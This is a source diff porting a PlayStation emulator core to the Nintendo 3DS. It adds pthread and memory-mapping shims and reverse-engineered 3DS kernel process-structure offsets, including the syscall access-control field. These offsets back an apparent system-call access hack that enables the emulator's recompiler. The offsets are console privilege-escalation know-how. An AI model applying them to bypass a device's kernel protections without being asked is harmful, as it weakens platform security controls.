+       // Old 3DS Version 8.0.0 - 9.5.0...\r
+       class KProcess_8_0_0_Old : public KSynchronizationObject\r
+       {\r
+       public:\r
+               u32 m_unknown014;                               // +014\r
+               u32 m_unknown018;                               // +018\r
+               KThread *volatile m_interactingThread;          // +01C\r
+               u16 m_unknown020;                               // +020\r
+               u16 m_unknown022;                               // +022\r
+               u32 m_unknown024;                               // +024\r
+               u32 m_unknown028;                               // +028\r
+               u32 m_memoryBlockCount;                         // +02C\r
+               KLinkedListNode *m_memoryBlockFirst;            // +030\r
+               KLinkedListNode *m_memoryBlockLast;             // +034\r
+               u32 m_unknown038;                               // +038\r
+               u32 m_unknown03C;                               // +03C\r
+               void *m_translationTableBase;                   // +040\r
+               u8 m_contextID;                                 // +044\r
+               u32 m_unknown048;                               // +048\r
+               void *m_userVirtualMemoryEnd;                   // +04C\r
+               void *m_userLinearVirtualBase;                  // +050\r
+               u32 m_unknown054;                               // +054\r
+               u32 m_mmuTableSize;                             // +058\r
+               void *m_mmuTableAddress;                        // +05C\r
+               u32 m_threadContextPagesSize;                   // +060\r
+               u32 m_threadLocalPageCount;                     // +064\r
+               KLinkedListNode *m_threadLocalPageFirst;        // +068\r
+               KLinkedListNode *m_threadLocalPageLast;         // +06C\r
+               u32 m_unknown070;                               // +070\r
+               s32 m_idealProcessor;                           // +074\r
+               u32 m_unknown078;                               // +078\r
+               void *m_resourceLimits;                         // +07C\r
+               u32 m_unknown080;                               // +080\r
+               u32 m_threadCount;                              // +084\r
+               u8 m_svcAccessControl[0x80 / 8];                // +088\r
+               u32 m_interruptFlags[0x80 / 32];                // +098\r
+               u32 m_kernelFlags;                              // +0A8\r
+               u16 m_handleTableSize;                          // +0AC\r
+               u16 m_kernelReleaseVersion;                     // +0AE\r
+               KCodeSet *m_codeSet;                            // +0B0\r
+               u32 m_processID;                                // +0B4\r
+               u32 m_unknown0B8;                               // +0B8\r
+               u32 m_unknown0BC;                               // +0BC\r
+               KThread *m_mainThread;                          // +0C0\r
+               //...more...\r
+       };\r
+       static_assert(offsetof(KProcess_8_0_0_Old, m_svcAccessControl) == 0x088,\r
+               "KProcess_8_0_0_Old isn't the expected layout.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Kernel's internal structure of a process object.\r
+       // New 3DS Version 8.0.0 - 9.5.0...\r
+       class KProcess_8_0_0_New : public KSynchronizationObject\r
+       {\r
+       public:\r
+               u32 m_unknown014;                               // +014\r
+               u32 m_unknown018;                               // +018\r
+               KThread *volatile m_interactingThread;          // +01C\r
+               u16 m_unknown020;                               // +020\r
+               u16 m_unknown022;                               // +022\r
+               u32 m_unknown024;                               // +024\r
+               u32 m_unknown028;                               // +028\r
+               u32 m_unknown02C;                               // +02C new to New 3DS\r
+               u32 m_unknown030;                               // +030 new to New 3DS\r
+               u32 m_memoryBlockCount;                         // +034\r
+               KLinkedListNode *m_memoryBlockFirst;            // +038\r
+               KLinkedListNode *m_memoryBlockLast;             // +03C\r
+               u32 m_unknown040;                               // +040\r
+               u32 m_unknown044;                               // +044\r
+               void *m_translationTableBase;                   // +048\r
+               u8 m_contextID;                                 // +04C\r
+               u32 m_unknown050;                               // +050\r
+               void *m_userVirtualMemoryEnd;                   // +054\r
+               void *m_userLinearVirtualBase;                  // +058\r
+               u32 m_unknown05C;                               // +05C\r
+               u32 m_mmuTableSize;                             // +060\r
+               void *m_mmuTableAddress;                        // +064\r
+               u32 m_threadContextPagesSize;                   // +068\r
+               u32 m_threadLocalPageCount;                     // +06C\r
+               KLinkedListNode *m_threadLocalPageFirst;        // +070\r
+               KLinkedListNode *m_threadLocalPageLast;         // +074\r
+               u32 m_unknown078;                               // +078\r
+               s32 m_idealProcessor;                           // +07C\r
+               u32 m_unknown080;                               // +080\r
+               void *m_resourceLimits;                         // +084\r
+               u32 m_unknown088;                               // +088\r
+               u32 m_threadCount;                              // +08C\r
+               u8 m_svcAccessControl[0x80 / 8];                // +090\r
+               u32 m_interruptFlags[0x80 / 32];                // +0A0\r
+               u32 m_kernelFlags;                              // +0B0\r
+               u16 m_handleTableSize;                          // +0B4\r
+               u16 m_kernelReleaseVersion;                     // +0B6\r
+               KCodeSet *m_codeSet;                            // +0B8\r
+               u32 m_processID;                                // +0BC\r
+               u32 m_unknown0C0;                               // +0C0\r
+               u32 m_unknown0C4;                               // +0C4\r
+               KThread *m_mainThread;                          // +0C8\r
+               //...more...\r
+       };\r
+       static_assert(offsetof(KProcess_8_0_0_New, m_svcAccessControl) == 0x090,\r
+               "KProcess_8_0_0_New isn't the expected layout.");\r
+\r
+       //------------------------------------------------------------------------------------------------\r
+       // Done using illegal offsetof\r
+       #pragma GCC diagnostic pop\r
+}\r
diff --git a/frontend/3ds/pthread.h b/frontend/3ds/pthread.h
new file mode 100644 (file)
index 0000000..836f4cb
--- /dev/null
@@ -0,0 +1,68 @@
+
+#ifndef _3DS_PTHREAD_WRAP__
+#define _3DS_PTHREAD_WRAP__
+
+#include "3ds.h"
+#include "stdlib.h"
+#include "string.h"
+#include "stdio.h"
+
+
+#define CTR_PTHREAD_STACK_SIZE 0x10000
+
+typedef struct
+{
+   Handle handle;
+   u32* stack;
+}pthread_t;
+typedef int pthread_attr_t;
+
+//#ifndef DEBUG_HOLD
+//#include "stdio.h"
+//void wait_for_input(void);
+
+//#define DEBUG_HOLD() do{printf("%s@%s:%d.\n",__FUNCTION__, __FILE__, __LINE__);fflush(stdout);wait_for_input();}while(0)
+//#endif
+
+static inline int pthread_create(pthread_t *thread,
+      const pthread_attr_t *attr, void *(*start_routine)(void*), void *arg)
+{
+
+//   DEBUG_HOLD();
+
+   thread->stack =  linearMemAlign(CTR_PTHREAD_STACK_SIZE, 8);
+
+   svcCreateThread(&thread->handle, (ThreadFunc)start_routine,arg,
+                   (u32*)((u32)thread->stack + CTR_PTHREAD_STACK_SIZE),
+                   0x25, 1);
+
+   return 1;
+}
+
+
+static inline int pthread_join(pthread_t thread, void **retval)
+{
+   (void)retval;
+
+//   DEBUG_HOLD();
+   if(svcWaitSynchronization(thread.handle, INT64_MAX))
+      return -1;
+
+   linearFree(thread.stack);
+
+   return 0;
+}
+
+
+static inline void pthread_exit(void *retval)
+{   
+   (void)retval;
+
+//   DEBUG_HOLD();
+   svcExitThread();
+}
+
+//#undef DEBUG_HOLD
+
+#endif //_3DS_PTHREAD_WRAP__
+
diff --git a/frontend/3ds/sys/mman.h b/frontend/3ds/sys/mman.h
new file mode 100644 (file)
index 0000000..c93b13b
--- /dev/null
@@ -0,0 +1,66 @@
+#ifndef MMAN_H
+#define MMAN_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include "3ds.h"
+#include "stdlib.h"
+#include "stdio.h"
+
+#define PROT_READ       MEMPERM_READ
+#define PROT_WRITE      MEMPERM_WRITE
+#define PROT_EXEC       MEMPERM_EXECUTE
+#define MAP_PRIVATE     2
+#define MAP_ANONYMOUS   0x20
+
+#define MAP_FAILED      ((void *)-1)
+
+static inline void* mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset)
+{
+   (void)addr;
+   (void)prot;
+   (void)flags;
+   (void)fd;
+   (void)offset;
+
+   void* addr_out;
+
+   addr_out = malloc(len);
+   if(!addr_out)
+      return MAP_FAILED;
+
+   return addr_out;
+}
+
+static inline int mprotect(void *addr, size_t len, int prot)
+{
+   extern int ctr_svchack_init_success;
+
+   if(ctr_svchack_init_success)
+   {
+      uint32_t currentHandle;
+      svcDuplicateHandle(&currentHandle, 0xFFFF8001);
+      svcControlProcessMemory(currentHandle, (u32)addr, 0x0,
+                              len, MEMOP_PROT, prot);
+      svcCloseHandle(currentHandle);
+      return 0;
+   }
+
+   return -1;
+}
+
+static inline int munmap(void *addr, size_t len)
+{
+   free(addr);
+   return 0;
+
+}
+
+#ifdef __cplusplus
+};
+#endif
+
+#endif // MMAN_H
+
index b611e84..69fad2a 100644 (file)
 #include "revision.h"
 #include "libretro.h"
 
+#ifdef _3DS
+#include "3ds.h"
+#include "3ds/3ds_utils.h"
+int ctr_svchack_init_success = 0;
+#endif
+
 static retro_video_refresh_t video_cb;
 static retro_input_poll_t input_poll_cb;
 static retro_input_state_t input_state_cb;
@@ -165,8 +171,87 @@ static void vout_close(void)
 {
 }
 
-static void *pl_mmap(unsigned int size)
+#ifdef _3DS
+typedef struct
+{
+   void* buffer;
+   uint32_t target_map;
+   size_t size;
+   enum psxMapTag tag;
+}psx_map_t;
+
+psx_map_t custom_psx_maps[] = {
+   {NULL, 0x13000000, 0x210000, MAP_TAG_RAM},   // 0x80000000
+   {NULL, 0x12800000, 0x010000, MAP_TAG_OTHER}, // 0x1f800000
+   {NULL, 0x12c00000, 0x080000, MAP_TAG_OTHER}, // 0x1fc00000
+   {NULL, 0x11000000, 0x800000, MAP_TAG_LUTS},  // 0x08000000
+   {NULL, 0x12000000, 0x200000, MAP_TAG_VRAM},  // 0x00000000
+};
+
+void* pl_3ds_mmap(unsigned long addr, size_t size, int is_fixed,
+       enum psxMapTag tag)
+{
+   (void)is_fixed;
+   (void)addr;
+
+   if (ctr_svchack_init_success)
+   {
+      psx_map_t* custom_map = custom_psx_maps;
+
+      for (; custom_map->size; custom_map++)
+      {
+         if ((custom_map->size == size) && (custom_map->tag == tag))
+         {
+            uint32_t ptr_aligned, tmp;
+
+            custom_map->buffer = malloc(size + 0x1000);
+            ptr_aligned = (((u32)custom_map->buffer) + 0xFFF) & ~0xFFF;
+
+            if(svcControlMemory(&tmp, custom_map->target_map, ptr_aligned, size, MEMOP_MAP, 0x3) < 0)
+            {
+               SysPrintf("could not map memory @0x%08X\n", custom_map->target_map);
+               exit(1);
+            }
+
+            return (void*)custom_map->target_map;
+         }
+      }
+   }
+
+   return malloc(size);
+}
+
+void pl_3ds_munmap(void *ptr, size_t size, enum psxMapTag tag)
 {
+   (void)tag;
+
+   if (ctr_svchack_init_success)
+   {
+      psx_map_t* custom_map = custom_psx_maps;
+
+      for (; custom_map->size; custom_map++)
+      {
+         if ((custom_map->target_map == (uint32_t)ptr))
+         {
+            uint32_t ptr_aligned, tmp;
+
+            ptr_aligned = (((u32)custom_map->buffer) + 0xFFF) & ~0xFFF;
+
+            svcControlMemory(&tmp, custom_map->target_map, ptr_aligned, size, MEMOP_UNMAP, 0x3);
+
+            free(custom_map->buffer);
+            custom_map->buffer = NULL;
+            return;
+         }
+      }
+   }
+
+   free(ptr);
+}
+#endif
+
+static void *pl_mmap(unsigned int size)
+{   
        return psxMap(0, size, 0, MAP_TAG_VRAM);
 }
 
@@ -1048,6 +1133,11 @@ static void update_variables(bool in_flight)
    {
       R3000Acpu *prev_cpu = psxCpu;
 
+#ifdef _3DS
+      if(!ctr_svchack_init_success)
+         Config.Cpu = CPU_INTERPRETER;
+      else
+#endif
       if (strcmp(var.value, "disabled") == 0)
          Config.Cpu = CPU_INTERPRETER;
       else if (strcmp(var.value, "enabled") == 0)
@@ -1234,6 +1324,11 @@ void retro_init(void)
        int i, ret;
        bool found_bios = false;
 
+#ifdef _3DS
+   ctr_svchack_init_success = ctr_svchack_init();
+   psxMapHook = pl_3ds_mmap;
+   psxUnmapHook = pl_3ds_munmap;
+#endif
        ret = emu_core_preinit();
        ret |= emu_core_init();
        if (ret != 0) {
@@ -1249,7 +1344,7 @@ void retro_init(void)
 
        if (environ_cb(RETRO_ENVIRONMENT_GET_SYSTEM_DIRECTORY, &dir) && dir)
        {
-               snprintf(Config.BiosDir, sizeof(Config.BiosDir), "%s/", dir);
+               snprintf(Config.BiosDir, sizeof(Config.BiosDir), "%s", dir);
 
                for (i = 0; i < sizeof(bios) / sizeof(bios[0]); i++) {
                        snprintf(path, sizeof(path), "%s/%s.bin", dir, bios[i]);
index 4c84803..c816ba1 100644 (file)
@@ -11,7 +11,7 @@
 #include <unistd.h>
 #include <signal.h>
 #include <time.h>
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
 #include <dlfcn.h>
 #endif
 
@@ -771,7 +771,7 @@ int emu_save_state(int slot)
                return ret;
 
        ret = SaveState(fname);
-#if defined(__arm__) && !defined(__ARM_ARCH_7A__) /* XXX GPH hack */
+#if defined(__arm__) && !defined(__ARM_ARCH_7A__) && !defined(_3DS) /* XXX GPH hack */
        sync();
 #endif
        SysPrintf("* %s \"%s\" [%d]\n",
@@ -985,7 +985,7 @@ void *SysLoadLibrary(const char *lib) {
                                return (void *)(long)(PLUGIN_DL_BASE + builtin_plugin_ids[i]);
        }
 
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
        ret = dlopen(lib, RTLD_NOW);
        if (ret == NULL)
                SysMessage("dlopen: %s", dlerror());
@@ -1002,7 +1002,7 @@ void *SysLoadSym(void *lib, const char *sym) {
        if (PLUGIN_DL_BASE <= plugid && plugid < PLUGIN_DL_BASE + ARRAY_SIZE(builtin_plugins))
                return plugin_link(plugid - PLUGIN_DL_BASE, sym);
 
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
        return dlsym(lib, sym);
 #else
        return NULL;
@@ -1010,7 +1010,9 @@ void *SysLoadSym(void *lib, const char *sym) {
 }
 
 const char *SysLibError() {
-#ifndef _WIN32
+#if defined(_3DS)
+   return NULL;
+#elif !defined(_WIN32)
        return dlerror();
 #else
        return "not supported";
@@ -1023,7 +1025,7 @@ void SysCloseLibrary(void *lib) {
        if (PLUGIN_DL_BASE <= plugid && plugid < PLUGIN_DL_BASE + ARRAY_SIZE(builtin_plugins))
                return;
 
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
        dlclose(lib);
 #endif
 }
index 3980490..73f842b 100644 (file)
@@ -89,7 +89,7 @@ extern void *scratch_buf_ptr;
 extern u32 inv_code_start, inv_code_end;
 
 /* cycles/irqs */
-extern unsigned int next_interupt;
+extern u32 next_interupt;
 extern int pending_exception;
 
 /* called by drc */
index 5120df0..487f7f0 100644 (file)
@@ -53,6 +53,9 @@ static void __clear_cache(void *start, void *end) {
   sys_dcache_flush(start, len);
   sys_icache_invalidate(start, len);
 }
+#elif defined(_3DS)
+#include "3ds_utils.h"
+#define __clear_cache(start,end) ctr_flush_invalidate_cache()
 #endif
 
 #define MAXBLOCK 4096
index 76cdfba..036c68d 100644 (file)
@@ -14,7 +14,9 @@
 #include <zlib.h>
 #ifndef _WIN32
 #define CALLBACK
+#ifndef _3DS
 #include <dlfcn.h>
+#endif
 #else
 #define WIN32_LEAN_AND_MEAN
 #include <windows.h>
@@ -285,7 +287,7 @@ static long CDRinit(void)
                        return -1;
                }
        }
-#ifndef _WIN32
+#if !defined(_WIN32) && !defined(_3DS)
        if (pBZ2_bzBuffToBuffDecompress == NULL) {
                void *h = dlopen("/usr/lib/libbz2.so.1", RTLD_LAZY);
                if (h == NULL)
index 01b8dde..bb3ad56 100644 (file)
@@ -309,11 +309,11 @@ void renderer_notify_res_change(void)
 
 extern const unsigned char cmd_lengths[256];
 
-int do_cmd_list(unsigned int *list, int list_len, int *last_cmd)
+int do_cmd_list(uint32_t *list, int list_len, int *last_cmd)
 {
   unsigned int cmd = 0, len;
-  unsigned int *list_start = list;
-  unsigned int *list_end = list + list_len;
+  uint32_t *list_start = list;
+  uint32_t *list_end = list + list_len;
 
   for (; list < list_end; list += 1 + len)
   {